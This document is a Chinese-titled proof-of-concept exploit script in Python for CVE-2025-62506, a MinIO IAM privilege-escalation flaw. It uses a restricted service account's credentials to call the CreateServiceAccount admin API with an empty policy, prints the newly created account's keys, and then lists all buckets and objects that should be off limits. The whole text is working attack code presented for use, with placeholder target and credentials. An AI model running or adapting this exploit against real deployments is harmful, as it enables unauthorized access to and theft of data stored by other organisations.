CVE-2025-62506 MinIO IAM策略验证权限提升漏洞

# CVE-2025-62506 PoC - MinIO Privilege Escalation via Session Policy Bypass # This PoC demonstrates how a restricted service account can escalate privileges # by creating a new service account that inherits full parent privileges import requests import json # Target MinIO server configuration MINIO_ENDPOINT = "https://minio-target.example.com" # Restricted service account credentials (with inline policy restrictions) ACCESS_KEY = "RESTRICTED_ACCESS_KEY" SECRET_KEY = "RESTRICTED_SECRET_KEY" def create_privileged_service_account(): """ Exploit CVE-2025-62506: Create a new service account using restricted credentials. Due to the vulnerability, the new account will have full parent privileges instead of being restricted by the inline policy. """ # Step 1: Authenticate as the restricted service account session = requests.Session() # Step 2: Call the CreateServiceAccount API # The IAM policy validation logic incorrectly uses DenyOnly check, # so it only verifies the action is not denied, not whether it's allowed url = f"{MINIO_ENDPOINT}/minio/admin/v3/create-service-account" payload = { "accessKey": "ESCALATED_ACCOUNT_KEY", "secretKey": "ESCALATED_ACCOUNT_SECRET", "description": "Exploited account via CVE-2025-62506", "policy": "" # Empty policy means no restrictions - should be blocked by session policy } headers = { "Authorization": f"Bearer {ACCESS_KEY}:{SECRET_KEY}", "Content-Type": "application/json" } response = session.post(url, headers=headers, json=payload) if response.status_code == 200: print("[+] Successfully created escalated service account!") result = response.json() print(f"[+] New AccessKey: {result.get('accessKey')}") print(f"[+] New SecretKey: {result.get('secretKey')}") print("[+] The new account has FULL parent privileges, bypassing inline policy!") return result else: print(f"[-] Failed: {response.status_code} - {response.text}") return None def access_unauthorized_buckets(new_credentials): """ Use the newly created unrestricted service account to access buckets and objects that should be restricted by the inline policy. """ from minio import Minio client = Minio( MINIO_ENDPOINT.replace("https://", "").replace("http://", ""), access_key=new_credentials["accessKey"], secret_key=new_credentials["secretKey"], secure=True ) # List all buckets - should be restricted but is now accessible buckets = client.list_buckets() print(f"[+] Accessible buckets (should be restricted): {[b.name for b in buckets]}") # Access restricted objects for bucket in buckets: objects = list(client.list_objects(bucket.name, recursive=True)) print(f"[+] Objects in '{bucket.name}': {[o.object_name for o in objects]}") if __name__ == "__main__": print("[*] CVE-2025-62506 - MinIO Privilege Escalation PoC") print("[*] Affected: All versions prior to RELEASE.2025-10-15T17-29-55Z") print() new_account = create_privileged_service_account() if new_account: access_unauthorized_buckets(new_account)